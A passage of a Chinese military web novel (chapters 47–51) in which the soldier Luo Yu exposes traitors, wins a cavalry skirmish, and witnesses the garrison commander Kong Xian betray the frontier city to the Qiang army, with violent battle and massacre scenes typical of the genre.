场面再度紧张起来,有些人已经抄起了板凳桌角,准备拼死一搏。
可大厅外静悄悄的,并无一兵一卒出现。
李承啸的表情又经历了一次从狰狞到愕然,再到慌乱。
“嘎吱~”
厚重的木门终于被推开,走进来的是董川与萧少游手下的副百户庞飞,二人手中拎着一把带血的弯刀,齐齐抱拳:
“李家埋伏的人手已经全部解决,请诸位放心!”
洛羽面带讥讽,宛如看待白痴:
“我都已经猜到今日宴席要出事,怎么可能没有准备,李将军未免太小看我了?”
其实在洛羽、萧少游二人赴宴的同时,两人手下的精锐已经倾巢而出悄悄包围了醉仙楼,今日叛徒不管是君毅也好、李承啸也罢,谁都别想成事。
“扑通。”
李承啸踉跄后退,双手撑在椅背上,指节因用力而发白:
“我明明计划得天衣无缝,是你,都是你这个混蛋!”
他恨啊,筹谋许久全都栽在了一个新兵蛋子手里。
“哈哈哈!”
与李承啸的绝望不同,孔贤则放声大笑:
“李承啸啊李承啸,你这叫自作孽不可活!这都是你自找的!”
绝望中的李承啸陷入了癫狂,奋不顾身地扑向洛羽:
“坏我好事,小子,我杀了你!”
到底是个当将军的,身手不错,抄起一把弯刀在桌上一蹬,整个人腾空而起,径直劈向了洛羽,如此凶悍的攻势惊得周围众人四散而逃。
早有准备的洛羽浑然不惧,甚至正面迎了上去,前冲途中短匕破晓已然跃然掌心。
“喝!”
李承啸怒目圆睁,拼死一击:
“给我死!”
“噗嗤!”
两人交错而过,腾空而起的洛羽竟然硬生生扭动腰肢,刀锋贴着胸口滑了过去,破晓顺势上扬,狠狠扎进了李承啸的咽喉。
“扑通。”
死尸从半空栽落,李承啸浑身抽搐不止,很快就命归西天,临死前的眼神满是不甘。
洛羽冷冷的看着尸体,没有半点心慈手软,像这样的叛徒,就该死!
在场之人看向洛羽的眼神全都发生了变化,虽说他官阶最低,只是个百户,可就刚刚一连串的筹谋部署外加致命一刀,足见此人的神机妙算。
可以说没有洛羽,今日在场的人都得死。
孔贤威严的声音缓缓响彻屋中:
“李承啸私通羌敌、罪该万死,现已明正典刑,将其尸首悬于城门之外,震慑宵小。另外,为确保云阳关安危,其麾下原先兵马统统整编,本将会重新派人指挥。”
“诺!”
在阵阵应喝声中君毅却皱起了眉头,孔贤是趁着这个机会吞并了李家的兵马啊。可李承啸自己找死,他也不好提出反对意见。
“希望各位能以此为鉴,莫要心生不轨之心!”
孔贤冷喝道:
“云阳关事关阙州安危,谁若是敢学李承啸通敌叛国,本将定斩不饶!”
第47章城外小战
城外挂着几具僵硬的死尸,在寒风中晃啊晃。
李承啸连带着手下几个一起通敌的叛徒全被杀了,孔贤让人将尸体挂在城外,震慑羌贼。
“呜呜呜!”
漫天号角声回荡,死尸果然引来了羌兵,在营中待了大半个月的羌兵蜂拥而出,遥遥面向城门列阵,杀气弥漫全场。
完颜昌驻马阵中,身边偏将轻声回禀:
“查探清楚了,挂在城门口的是李家李承啸的尸体,看来他失败了。”
“败了只能说明他是一个废物,不堪一用。不过是该给他们点颜色看看了,否则以为本将军好欺负。”
完颜昌面带冷色,轻轻一挥手便有三百精悍骑兵策马而出,抵近城门叫阵,领兵竟然是一名千夫长,名为察哈木,也算是云阳关一线颇有凶名的羌兵将领。
三百精骑肆意奔驰,骂声不断,精通骑射的羌兵还会朝着城头泼射几波箭雨来挑衅。
面对羌兵的辱骂、挑衅,云阳关始终紧闭城门,一兵一卒不出,反正偌大的城关就放在这,有本事你自己来攻。
察哈木见这样行不通,冷喝一声:
“哼,一群孬种,把人都给我推出来!”
数十名此前被羌兵抓获的俘虏被推到了最前面,个个面如死灰地跪在地上,这些天他们已经被羌兵折磨得遍体鳞伤。
城头守军的心一下子提了起来,这些可都是他们的同袍啊。
“举刀!”
“杀!”
数十柄弯刀高悬空中,而后同时挥落,俘虏的人头全都被砍了下来,人头落地的那一刻所有守卒的心脏都狠狠一颤,羌兵甚至用长枪挑着人头插在黄沙地中,场面无比血腥。
这还不算完,察哈木大摇大摆地脱下裤子,朝云阳关尿了一泡大地。
近乎蔑视的挑衅让所有守卒都感受到了一种羞辱,气得满脸涨红。
“城内的乾军小儿听着,你们要当缩头乌龟本将军无所谓。”
察哈木狞笑着指向被插着一排的人头:“但破城之后,这就是你们的下场!”
“混账,辱我太甚!谁敢领兵,出城与羌贼一战!”
大家很清楚,决不能任由羌兵骑在他们头上拉屎撒尿,否则军心士气会跌落到谷底,孔贤看向了君毅,指望君毅能派兵出战。
可君毅却置若罔闻,看都不看孔贤一眼。
以前李承啸还在,城中三足鼎立,现在孔贤已经吞并了李家的兵马,君毅自然该牢牢抓住手中的兵权,决不能白白派出去送死。他很清楚自己手中的兵权若是减少,那在云阳关就没有半分话语权了。
见君毅不理不睬,孔贤只好点名:
“韩朔,你率兵出城迎战!”
“诺!”
韩朔平静的迈前一步,并无半分畏惧之色。洛羽和萧少游对视了一眼,他们两可正好是韩朔麾下。
“记住。”
孔贤叮嘱道:“羌兵骁勇善战,千万小心,咱们不求一胜,不败便是大功!”
“卑职领命!”
没一会儿的功夫,韩朔就将兵马摆在了城外,除了洛羽、萧少游他还有两个百户队,零零总总加起来差不多有五百号人,大部分都是步卒,高举长枪盾牌,神色紧张。
人群中最亮眼的就是萧少游与洛羽二人麾下的骑兵了,个个昂首挺胸,威武不凡,光看气势就超过了寻常步卒。
“咚咚咚!”
城头上响起了助威的战鼓声,别看对面只有三百羌骑,可那是千夫长领兵,带出来的兵马肯定都是精锐,韩朔知道这一仗不好打。
与羌兵交手多次的萧少游率先提出建议:
“按照以前的套路,羌兵会先用弓箭远攻阵型,咱们盾牌不多,只怕伤亡会持续增加,等被耗得差不多了,三百骑兵再猛冲步阵,我们必败无疑。
倒不如我先率麾下骑兵冲杀一场,羌兵必会分兵而战,这样就可以分散敌军的兵力,为步阵减轻压力,洛百户的骑兵可以留下来压阵,如此可保步阵无恙。”
“如此甚好,就这么办。”
韩朔大手一挥:“出战吧,千万小心。”
“驾!”
萧少游没有丝毫犹豫,策马而出,气势汹汹的百骑精锐主动对羌兵骑阵发起了冲锋,放眼整座云阳关,最敢打的骑兵就属萧少游这帮人了。
按照以往的打法,羌兵肯定会选择分出一部分兵力牵扯萧少游,剩下的猛冲步阵。可这次他们却变了打法,完全不管步军阵型,三百骑兵分三路,呈钳形攻势将萧少游团团围住。
“杀啊!”
“当当当!”
三百对一百,萧少游很快就落入了下风,在敌阵中左冲右杀却无法凿穿敌军阵型,得亏了手下兵马胆魄过人,咬紧牙关与羌兵死拼,这才没有溃败。
凄惨的哀嚎声中不断有骑兵坠落马背,血肉横飞,乾军将士心头一沉,照这个趋势下去,一百骑要不了多久就会被羌兵一口吃掉。
“妈的,羌兵果然诡计多端!”
韩朔眼睁睁看着萧少游身陷重围却无能为力,毕竟他手下几乎都是步卒,根本就无法出阵支援。
“头,我去吧。”
关键时刻洛羽主动站了出来,可韩朔却眉头紧皱,扫了一眼队伍:
“你只有五十号骑兵,能行吗?”
洛羽的骑兵不仅人数少,还是刚刚操练出来的,韩朔担心这五十人冲出去就是肉包子打狗,有去无回。
“眼下除了我还有其他人能出战吗?”
洛羽坚定地说道:“再犹豫,少游他们就真的死在战场了。”
“行吧,靠你了!”
“所有人,提枪出战!”
“诺!”
五十号汉子紧随洛羽身后冲出了军阵,董川、蒙虎、小伍、吕青云……所有人的脸上都有一丝紧张,毕竟是第一次用骑兵的方式与羌人交战,尚且不知道这些天操练的成果。
但他们脸上更多的是一种兴奋,好似有一股热血在胸腔中翻滚,因为策马持枪在马背上上下起伏的感觉与徒步作战完全不同,是个男人都会更喜欢这样的感觉。
望着远去的骑队,韩朔喃喃道:
“好小子,还真有点气势,你可别死在了啊,还欠老子酒呢。”
骤然冲出的五十号骑兵也引起了羌人的注意,但五十人实在是不够看的,羌兵阵中甚至传出了讥笑声:
“五十人就敢出战,这些乾军真是昏头了。”
“这么点人,还不够察哈千户打牙祭呢,哈哈哈。”
“咦,领头的家伙很眼熟啊,好像是前阵子在城门楼子上射箭的人。”
“又是那个新兵蛋子吗?”
完颜昌突然来了点兴趣,遥遥投去目光:
“让本将军看看,你还有什么本事!”
第48章第一次出战
马蹄轰鸣作响,人人身形低伏。
他们按照平日里操练的那样渐渐排成了五道锋线,十人一排,不断调整战马前冲的速度,确保大家都在同一水平线。
五十人的骑阵看起来无比脆弱,在广阔的战场中显得十分渺小。
交战中的羌兵完全没把他们当回事,只是分了四五十骑迎战洛羽,骑兵三五成群,肆意挥舞马刀,嚣张的嘶吼声回荡在每个人的耳边,令人心惊肉跳。
以往羌兵像这样吼叫的时候就说明乾军要面临一场惨烈的屠杀了。
“都不要慌!”
洛羽神情肃穆,冷喝道:
“按照平日里训练的来就行,跟着我往前冲!”
每个人都在调整自己的呼吸,眼瞅着羌兵越来越近,他们手中的长枪开始缓缓长举,手臂蓄力,肌肉鼓胀。
处在队伍最前方的洛羽甚至能清晰地看见对面骑兵的长相,凶神恶煞中带着一抹不屑。
“杀!”
洛羽的眼神在这一刻变得无比冷酷,一杆长枪猛然刺出,快如迅雷,对面的羌骑甚至都没能看清出枪的动作便被一枪刺中。
“噗嗤!”
一枪贯穿胸膛,鲜血飚射而出。
“杀!”
身后军卒齐声怒吼,人人挺枪冲阵。
只见一杆杆长枪凶悍刺出,枪法一点也不花哨,无非就是一个快准狠。
最显眼的肯定是身材壮硕的蒙虎了,这家伙已经不是前阵子骑术不精的新兵蛋子了。凭借强悍的力道他竟然在捅死一名羌骑之后,挑着尸体继续前冲,破体而出的枪尖再度捅穿了后一名羌兵的胸口。
一枪两命,就像是串了个糖葫芦。
神勇无比的臂力。
“蒙大哥好枪法啊,看我的!”
“喝!”
一侧的吕青云不甘示弱,神情冷酷,同样当场斩杀了一名羌骑,惹得蒙虎放声大笑:
“你小子也厉害的嘛,咱们再杀他一圈!”
“杀!”
将士们发现洛羽教的招式果然管用,只要快准狠,一定能杀敌!
几十号羌兵直接被打蒙了,接二连三有人被捅穿下马,正如洛羽说的那样,骑兵交战阵型是否齐整很大程度上决定了战局的走向,没把他们当回事的羌兵轻敌了,大败亏输。
五十号骑兵一冲而过,竟然阵斩半数羌兵。
敌我双方全都眼眶子一突,只要是打过骑战的行家就知道这支骑兵实力不容小觑,绝不是什么乌合之众。
孔贤惊讶无比,目光闪烁:
“好强的骑兵啊,他竟然能在这么短的时间内操练出如此一支骑兵。”
“人才啊。”
君毅也惊到了,啧啧称奇:“孔将军确实是好眼光,只怕麾下又要再添一员悍将了。”
他无比羡慕,这样的人若是在自己手底下就好了。
“杀!”
击溃羌兵小队洛羽没有恋战,笔直前冲,从侧面猛地撞进战场,硬生生撕开了一个口子。
此刻萧少游正率军在人群中激战,杀得浑身鲜血,气喘吁吁,手下将士已经折损了不少,看到洛羽冲进来才松了口气:
“妈的,你总算来了,不然我今天真的死在这,你欠我的一条命算是还了。”
“都什么时候了还说这些。”
洛羽反手一枪将一名羌骑刺落马背:
“一起,击退羌兵!”
“好!”
区区五十人的援兵便让乾军一方重新提起了士气,两边联手大杀四方,竟然隐隐有压过羌兵一头的趋势。
“混账,乳臭未干的小儿也敢触犯我大羌天威!”
察哈木怒目圆睁,挺枪冲向洛羽,厚重的枪杆横挥而出,直接朝着腰腹砸来。
“铛!”
洛羽横枪一挡,一记对拼丝毫不落下风。
手臂发麻,察哈木的表情凝重了许多,不等他再度出招,洛羽反手一枪挑拨,顺着枪杆中间的空挡就刺向了自己的脑袋。
察哈木目光微变,一个偏头就躲开了枪尖,但身形也被震得晃悠了几下,差点栽落马背。
“好小子,枪法不错,你是何人?”
“洛羽!”
“你就是洛羽?”
察哈木狞笑起来:“将军说了,砍下你的头有赏银,没想到老子运气这么好,能撞见你。”
“谁胜谁负还不一定呢!”
洛羽目光冷厉,接连出枪,两人在马背上连过了十几招,越打察哈木心中的震惊越浓厚,洛羽的力气就像是用不完一样,招式越发凶悍,自己都快招架不住了。
就这么片刻的功夫,萧少游已经带兵开始全面反击,麾下士卒已经战死了不少,占据的急转直下让他心头越发焦急。
“妈的,难道老子还对付不了一个新兵蛋子!”
察哈木怒了,使出浑身的力气劈出一枪,枪尖直指洛羽的脑袋,洛羽一个侧身躲开攻势,顺手一抓竟然牢牢握住了枪杆,任凭察哈木如何用力都挣脱不了分毫。
“嗤!”
洛羽趁势枪尖一点,稳稳地刺中了他的肩膀,剧痛瞬间袭遍察哈木全身,大口大口的喘着粗气,鲜血很快就染红了整个肩膀。
“死吧,杂碎!”
一击得手,洛羽怎么会放过痛打落水狗的好机会?
在察哈木无助又绝望的眼神中,洛羽挂枪换刀,横挥而出,一刀割开了察哈木的咽喉,猩红的鲜血溅出一大片。
整片战场为之一静,所有人都傻眼了:
一个新兵百户竟然阵斩羌兵千户。
远远观战的完颜昌心头一颤,死死攥紧拳头:
“妈的,废物东西!”
萧少游只觉得无比亢奋,怒吼出声:
“兄弟们,杀!”
“杀!”
人头滚落,主将战死,剩下的羌兵哪还有半点恋战之心,掉头就跑,反观乾军这边气势如虹,奋起直追,残余羌兵拼个半死才逃回阵中。
全场寂静无声,双方士卒都看向那队傲然而立的骑兵。
“赢了!”
“赢了!”
城头上爆发出一片欢呼,无数人看向洛羽的眼神越发尊崇。
上一次在城头射了两箭虽然提振了己方士气,但毕竟不是真刀真枪的交手,这一次是骑兵出战,正面冲阵,阵斩羌兵千户。
对他们来说是了不起的胜利!
漫天欢呼声中,洛羽神情默然,策马前行,用长枪挑着察哈木的人头狠狠往阵前一插,鲜血随风飘散。
他是在祭奠刚刚在阵前被残杀的同袍。
“好小子。”
完颜昌的眼神逐渐阴沉:
“此子,必杀!”
第49章真正的叛徒!
望着校场中奔驰的战马,洛羽笑得合不拢嘴。
城门口一战又缴获了三十多匹战马,孔贤大手一挥全赏给他了,麾下骑兵又壮大了不少。
由于这一战骑兵的表现十分抢眼,证明此前洛羽的练兵之法很有效,所以士卒们个个精神百倍,跟着第一批老兵往来驰骋,练习冲锋骑战之术。
萧少游撇了撇嘴:
“今天都大年三十了,你怎么还让兄弟们操练,刚打了胜仗就不能让人歇一天?”
“歇什么歇,打败了三百骑,又不是三千骑。”
洛羽一如既往地面无表情:
“等什么时候他们能光明正大地击败三千骑,再歇也不迟。”
“三千骑?你可真敢想啊。”
萧少游嘟囔道:“整个云阳关都凑不出一千骑,你还想吃掉羌兵三千骑?”
“早晚会有这一天的。”
洛羽的语气很平静,在萧少游看来异想天开的目标他觉得一定能做到。等有一天他能带兵正面击败西羌三千精骑的时候,应该够资格走进武家的大门了吧。
“羊汤来啦!”
“快快,给兄弟们分分!”
蒙虎和小伍两个人一人挑着根扁担,装了满满四大桶羊汤,李家爷孙两也跟在旁边搬运几框馍馍。今天是新年之夜,洛羽提前让老李头多做点羊汤送到军营里来,算是给兄弟们庆祝新年了。
阳儿一到这没有找洛羽,反而绕着沈漓转圈儿,一口一个沈姐姐,欢笑不已。
这些天爷孙俩经常来,阳儿特别喜欢沈漓,经常跟着她一起酿酒,沈漓也对这个小孩子十分疼爱,照顾有加。
玩了好一会儿阳儿才三步并作两步跑向洛羽:
“大哥哥,抱抱!”
洛羽一把抄起孩子,高高举在空中,逗得阳儿欢笑不断,洛羽也露出了笑容。他只有和阳儿相处时才会笑得这么真诚,因为他知道小孩子是淳朴的,和他玩耍不需要带半点心机。
“大哥哥,我送你的新年礼物,自己做的噢。”
阳儿从背后掏出一个风车,用一根细小的木杆绑着,上面扎着几个布条,在微风的吹拂下转啊转的。
“阳儿好巧的手啊,谢谢你。”
洛羽捏了把脸:
“哥哥也给你准备了新年礼物噢,不过要等过了新年才能给你,明天哥哥会去看你的。”
“噢耶!我也有礼物啦!哈哈哈!”
“行了,找沈姐姐玩去吧。”
阳儿又蹦蹦跳跳地走开了,欢天喜地。
“你好像只有在孩子面前才会笑得这么开心。”
萧少游抱着膀子说道:
“我觉得你平日里没必要一直板着张脸,笑笑挺好的。”
“我说你这个人,话也太多了。”
洛羽眉头一皱:“我笑不笑关你什么事?”
“切。”
萧少游毫不在意,拍拍屁股走了:
“收拾一下吧,今夜将军府有晚宴,一来庆祝新年,二来给你庆功!”
……
大乾历,景丰八年来到了最后一天。
今日设宴的地方不在醉仙楼了,而是孔贤的将军府,整座将军府灯火通明,和那日醉仙楼一样,宾客满座、笑语不断。
“又开席了。”
洛羽很是无奈,他实在不喜欢这样的场面。
客人比前些日子醉仙楼的人还要多,除了有巡夜任务的军官,其他的都尉、百夫长们尽数到齐,一帮汉子撩着袖子举在一起拼酒,好不自在。
“咦,韩都尉呢,怎么没来?”
洛羽看了一圈也没发现韩朔的人影,萧少游解释道:
“今夜韩都尉负责巡夜,肯定来不了了,咱们就凑个桌吧,随便喝几杯。”
其实副百户庞飞是跟着萧少游一起来的,但他知道两位百户有话要将,很识趣地坐到了一旁。
萧少游拉着洛羽坐下,两人各自斟了一杯酒:
“若不是揪出了李承啸这个叛徒,只怕今夜云阳关就要血流成河。”
“是啊,咱们也算是了却一桩心事。”
洛羽端起酒杯:“来吧,咱们碰一杯,就当是合作愉快?”
“哈哈,好!”
两人对碰一杯,一饮而尽。
一个月的相处,两人俨然成了要好的朋友,还有过命的交情,洛羽展现出来的能力也让萧少游钦佩不已。
“静一静!”
孔贤满脸笑意地站起身,高举酒杯:
“今日这杯酒,咱们先敬洛羽洛兄弟,阵斩羌兵千户,立下大功,振奋军心,本将甚是欣慰!
来,举杯!”
“敬洛兄弟!”
几十号粗狂的军汉呼啦啦站了起来,眼神中有敬畏、有羡慕、有钦佩,如此年轻的百户,未来指不定要爬到何等的高位。
“谢孔将军,谢各位同袍!”
洛羽客客气气地起身还礼,共饮了一杯,然后老老实实的坐下,这种场合下主角只能是孔贤,自己就不要瞎凑热闹了。
“这第二件事嘛,自然是希望为大家谋一份好的前程。”
孔贤脸上的笑容愈发旺盛:
“新的一年,你们只要跟着本将军好好干,包你们吃香的喝辣的,荣华富贵近在眼前!云阳关的危局不值一提。”
“谢将军!”
众人笑声不断,但洛羽和萧少游的眼神却微微一凝,这话听在耳朵里怎么味道不太对?
孔贤突然看向了君毅:
“君将军,你觉得云阳关是谁说了算?”
君毅不解其意,客气道:
“您可是朝廷亲封的云阳关游击将军,自然是您说了算。”
“哈哈,好!有你这句话就够了。”
孔贤笑道:
“前次李承啸通敌谋反,差点酿成大祸,究其原因还是他拥兵自重、不服调令,为确保云阳关的安危,本将觉得君将军是不是该将手里的兵权交出来,由我统一指挥?”
君毅脸上的笑意瞬间消失:
“孔将军,你可知自己在说什么?这可是君家的牙兵。”
“什么君家的牙兵,不都是朝廷的兵马吗。”
孔贤冷笑一声:“难道你们君家敢不服从朝廷号令?”
君毅浑然不惧,讥讽道:
“休要在本将军面前搬弄这套说辞,朝局如何大家心知肚明,陇西三州谁敢不给君家面子?我看你有没有胆子吞了君家的兵马!”
场面陡然紧张起来,尤其是君家那些部将,已经有人站了起来。
“情况不对啊。”洛羽眉头紧凝:“孔贤怎么会突然对君毅发难?”
“咻!”
心中疑问还没得到解答,一支响箭陡然划破夜色,在空中绽放出绚丽的火光,然后整座云阳关便被震耳欲聋的喊杀声笼罩。
“出什么事了?什么情况?”
“报!”
一名军卒跌跌撞撞地冲进大厅,慌乱不已:
“启禀将军,有人打开城门,羌兵,羌兵入城了!”
“什么!”
众人面色齐变。
“怎么可能!”
萧少游愕然无比:“叛徒不是已经被揪出来了吗?”
君毅破口大骂:“是谁胆大包天敢放羌兵入城!孔贤,老子没工夫跟你闲扯,云阳关决不能失守,咱们先领兵击退……”
“嗤!”
话才说到一半,一柄长剑就狠狠捅穿了君毅的胸膛,鲜血喷射而出。
手握剑柄的孔贤第一次露出狰狞之相:
“我最烦你这种指手画脚的样子,从现在起,云阳关我一个人说了算!”
第50章家国天下,狗屁!
“你,你……”
带着无尽的疑惑与绝望,君毅缓缓瘫倒在地,猩红的鲜血在烛光的照耀下显得格外刺眼。
很多人都傻了,什么情况?孔贤为什么要一剑杀了君毅?还是在羌兵破城而入的危急关头。
孔贤拎着长剑,环视全场:
“从现在起云阳关听本将军指挥!谁敢抗命不从,立斩不赦!”
大厅两侧涌出上百名精锐甲士,人人手持长枪,将现场团团围住,杀气骤然而生。
“君将军所犯何罪,你为何要杀害君将军!”
“今日你若是不给君家一个说法,咱们就算是豁出一条命也得为君将军讨个公道!”
君家的人最先怒骂出声,个个面色铁青,定州君家的威名绝不容任何人挑衅。
“因为他要通敌,要叛国!”
一道冷喝声陡然响起,洛羽缓缓从人群中走出,目光阴沉:
“我若是没猜错,通敌的不止李承啸一人吧?还有你,云阳关游击将军孔贤!”
“啧啧,果然聪明。”
孔贤的嘴角勾起一抹笑容:
“只不过他通敌是他的事,与我并不相干,你掏出那封密信的时候我才知道还有人要投降。
说起这个,我还要谢谢你,羌兵与人合作,只看谁本事大,若是我与李承啸同时倒戈,他们未必会重用我,但现在借你的手杀了他,完颜昌便只能与我合作。
哈哈哈!”
“所以之前我在城内遭遇刺杀不是李承啸做的,而是你!私藏在城中的那些羌兵细作也是你放进来的!”
“不错,是我,全都是我,李承啸不过是一个小角色罢了。”
孔贤微微一笑:
“我派出刺客的时候,故意让他们提到瓦力格,提到那封密信,这样你自然会将怀疑转向李承啸,我便可以高枕无忧。”
“好歹毒的心计,竟然被你耍了!”
洛羽紧握双拳,关节嘎吱作响。
他猜中了李承啸有问题,所以在解决李承啸之后便以为万事大吉了,却忘了一件事,谁说投降的只有一个人?
“为什么,你为什么要这么做!”
萧少游怒目圆睁:
“之前不是你教导我吗?要忠君、要爱国,要心怀边关百姓。可你呢?残杀同袍、吞并牙兵,现在竟然还开城投降。”
“那些都是骗你的!”
孔贤怒斥道:
“什么忠君爱国,远在天边的皇帝百姓真的会管你我的死活吗?我戎马半生,早就将这个大乾朝看透了。我告诉你,我们就算在云阳关战死,朝廷高官们的眼皮也不会眨一下。
给他们卖命就是白痴!只能为了自己而活!
投降羌人又怎么了?背负骂名又怎么了!只要能有荣华富贵、高官厚禄,一切都值得!”
“畜生!为什么要欺骗我!”
萧少游的双眼早已被怒火填满,他可以为了权力不择手段、可以为了往上爬牺牲一些无辜之人,但他决不允许有人私通羌贼,因为他全家老小都死在羌兵的屠刀之下!
“不是骗你,而是为你找了一条更好的路!还有你们!”
孔贤环视全场,目光特地在洛羽和萧少游身上停留了一会儿:
“你们都是可造之材,我很欣赏你们,只要你们愿意跟着我干,前途不可限量!
有了羌兵做后盾,我们大可以不费吹灰之力攻克陇西三州,我们就是未来的李家、君家,子子孙孙,世代享福!”
“我呸!”
萧少游猛然拔剑:“我与羌贼不共戴天!今天我定要杀了你!”
“还有我!”
洛羽坚定地站在萧少游身边。
“唉,不识时务。”
孔贤轻轻叹了口气:“既然你们选择与我作对,那就去死吧。”
“喝!”
一柄长剑陡然从背后刺向了萧少游,出手之人竟然是副百户庞飞。
眼看着剑锋将至,洛羽就像是早有准备,一脚踢中了庞飞的腰腹,将其踹飞出老远,险之又险地保下了萧少游一条命。
“原来还有一个叛徒!”
洛羽咬牙切齿地盯着庞飞,萧少游更是不可置信:
“你,你竟然对我出手!合着这么多年你都是孔贤安插在我身边的耳目!”
当初萧少游是和庞飞一起离开孔贤身边投入军伍,并肩作战数年,被萧少游视为得力心腹,没想到这样一个人竟然是孔贤安插过来的探子。
“呸!”
一剑未中,庞飞恼怒地从地上爬起来,面带讥笑:
“猜对了,其实你不知道吧,我是孔将军的义子,这两年待在你身边就是为了监视你,防止你有哪一天坐大,威胁到孔将军的地位。”
“你果然是叛徒。”
洛羽持刀而立:“那天我们追杀羌兵细作,唯一一个活口就是被你杀了,当时我没有怀疑你,可就在刚刚孔贤说出真相我才意识到你有问题。
你不是无心杀人,而是害怕事情暴露,杀人灭口!”
“洛百户真是聪明啊。”庞飞讥讽道:“可再聪明又有什么用?还不是死路一条!”
“好,好!都在骗我。”
萧少游已经被怒火冲昏了头脑:“今日我就与你们鱼死网破!”
“冷静点,还有机会!”
洛羽一把拉住萧少游,怒喝道:“先想办法杀出去,这些仇以后再报!”
场中不知不觉地分成了两拨人,一拨自然是孔贤的心腹下属、甲士亲卫,还有一拨就是那些不知情的都尉、百户们。
但孔贤一方占有明显优势,人数是他们的十倍不止。
“洛兄弟,现在怎么办?”
他们竟然不由自主地聚集在洛羽身边,听那口气像是将他当成了主心骨。洛羽最近展现出来的能力太强了,强到令他们敬畏的地步,他们觉得只要跟着洛羽就能从绝境中逃生。
“哈哈,你们问他怎么办?”
孔贤猖狂大笑:“羌兵精锐已经入城,城中兵权大半都握在我的手里,他就算是神也回天无力。
投降,是你们唯一的出路。”
洛羽迈前一步,脸色冰冷:
“做梦!”
“对,想要我们投降,做梦!”
“跟这个卑鄙小人拼了,妈的!”
这些人平日贪污过军饷、辱骂过士卒,谈不上是什么好人,可他们是陇西边民,自有陇西边民的气魄,让他们投降羌兵,绝无可能!
“既然如此,那你们就只能死了。”
孔贤冷冷一挥手:“全都杀了吧,一个不留。”
“呵呵,萧少游,洛羽,你们的死期到了。”
庞飞狞笑着挥舞弯刀:
“别怪我,只怪你们不识抬举,自寻死路!”
“嗖!”
“噗嗤!”
话音刚落,就有一支利箭飚射而来,正中庞飞的咽喉,一箭毙命。
突然的变故令所有人心头一颤,咋又死了一个?
“砰!”
院门大开,上百号士卒蜂拥而入,与孔贤的兵马打成一团,韩朔提着一把大刀杀了进来:
“别慌,老子救你们来了!”
“韩都尉?”
洛羽愕然无比:
“你,你怎么来了?”
他本来还打算拼死一搏,撑到蒙虎他们来支援呢,鬼知道第一个来救人的竟然是韩朔。
韩朔破口大骂:
“你还欠老子二十坛好酒,难道就让你这么死了!”
第51章满城死尸
夜空乌云,朔风骤起,将原本明亮的月色尽数遮掩,隐隐有下雨的迹象。
“杀啊!”
“羌兵入城了,迎战,迎战!”
随着羌兵主力入城、提前入关的细作四处纵火捣乱,整座云阳关都陷入了躁动。战鼓声、将士们的嘶吼声、战马的嘶鸣声在夜空中互相交织。
今夜注定是血腥一夜。
城中守军正处于群龙无首的状态,除了极少数孔贤的心腹投敌之外,大部分士卒都在各自为战,不明所以地就投入了战斗,因为他们的领军主将全集中在将军府里。
将军府里刀光剑影、血肉横飞,双方人马打成一团。
“杀了他们,快杀了他们!”
孔贤满脸阴沉,他麾下的兵马一开始还能和韩朔打个半斤八两,可随着萧少游和洛羽麾下的援兵赶到时他们彻底陷入了劣势。
萧少游就像疯了一样,带着麾下精锐不停冲杀,一直想要冲过重重战场宰了孔贤,还有那个蒙虎,真的宛如猛虎,两拳头就拍死他手下一个亲兵百户,骁勇无比,一时间竟无人敢上前与其对战。
孔贤急得团团转,本来势在必得的局面竟然被韩朔突如其来的援兵坏了好事。
“将军,撤吧,先撤!”
几名亲信聚在孔贤身边急声道:“打是打不过了,咱们只能等羌兵把他们都杀了再出面。”
“妈的,算他们命大,走!”
孔贤也是当机立断之人,在一众随从的护卫下从后门溜走了,反正羌兵迟早会把洛羽他们都杀了,他虽然心中气愤但也不急在这一时。
“多亏了都尉相救,否则今日我们真的危险了。”
洛羽一抱拳,很是好奇:“您是怎么知道孔贤今夜要动手的?”
“我跟他的年头比你们久得多,自然比你们更了解他。”
韩朔目光微凝:“最近他太不对劲了,麾下换了好几个都尉、百夫长,几乎都是他的亲信,不管能力,只看忠诚,还有从李家吞并的兵马也全塞给他的亲信了。
尤其是从昨夜开始,守门的将校换了一茬,还不给旁人靠近城门,所以我多留了个心眼,派人注意着将军府这里的动向。”
洛羽微微诧异,没想到韩朔看起来是个莽汉,心思却比常人细腻得多。
“这么说,韩都尉不算他的亲信了?”
“哼,他若真是把我当亲信,今夜会让我去干巡夜这个苦差事?分明就是想支开我。”
“妈的,让这个奸贼跑了。”
萧少游满脸铁青的走了过来,浑身被鲜血染红了大半,刚刚他是真的动了杀意,奋不顾身冲在最前面。
“先不管他了,咱们还是得想想眼下的战局该怎么办。”
韩朔沉声道:“羌兵主力已经入城,西、南、北三门尽数失守,打肯定是打不过了,你们两脑子转得快,想想该怎么办。”
别看韩朔官最大,可他太了解手下这两个年轻人了,尤其是洛羽,危急时刻脑子比他要好得多,所以他更愿意将主导权交给两个年轻人。
萧少游渐渐恢复了冷静:
“四千羌兵,光靠城内的守军只怕无力迎战,我的建议是尽可能集中兵力向东突围,保存力量,等内地的援兵到了之后再回头反攻。”
洛羽点头同意了萧少游的方案,眼下力战不敌,没必要再用兄弟们的命去送死,人死了,谈何五年之约?
“那就这么办!”
韩朔也应声道:“咱们先把手底下的人手集中起来,一路收拢溃军,向东突围!”
……
“驾!”
“哒哒哒!”
大批战马在街巷中奔驰,后面还有步卒跟随,沈漓也搀扶着难民老人跟在队伍里,很多人的脸上都带着一股浓浓的哀伤与悲戚。
偌大一座云阳关,说丢就丢了,刚安生了一个月的好日子眨眼间烟消云散。
洛羽眉头紧皱,因为这条街巷明显已经被羌兵洗劫过一遍了,路上有很多被杀死的老百姓,凄惨的哀嚎声一刻不停地回荡在耳边。
少许幸存的百姓看到兵马还会苦苦哀求,救救我们,可马蹄一刻也未曾停下。
士卒们心中带着一股愧疚、甚至是耻辱。他们是军人,保家卫国的边军,可外敌入侵、面对百姓的祈求他们只能选择撤,或者说是逃。
“阳儿!”
路过一条街巷口时洛羽陡然想起了羊汤小摊,猛然转向疾驰而入,身后将士一愣,不明就里,只能紧随其后。
街巷内的场面惨不忍睹,数不清的老百姓倒在血泊中,甚至还有被扒光了衣服的女子,早已被凌辱过一番。
所有士卒都沉默了,眼中的怒火、愤恨一点点积聚,这都是他们的同胞街坊啊。
“阳儿,阳儿!”
洛羽第一次出现了心慌的感觉,一遍遍高呼着男孩的名字,可等他赶到羊汤小摊位时整个人如遭电击,傻在当场。
白发苍苍的老李头跪在地上,呆呆不语,怀中抱着阳儿瘦下的身躯,浑身鲜血,早已没了呼吸。
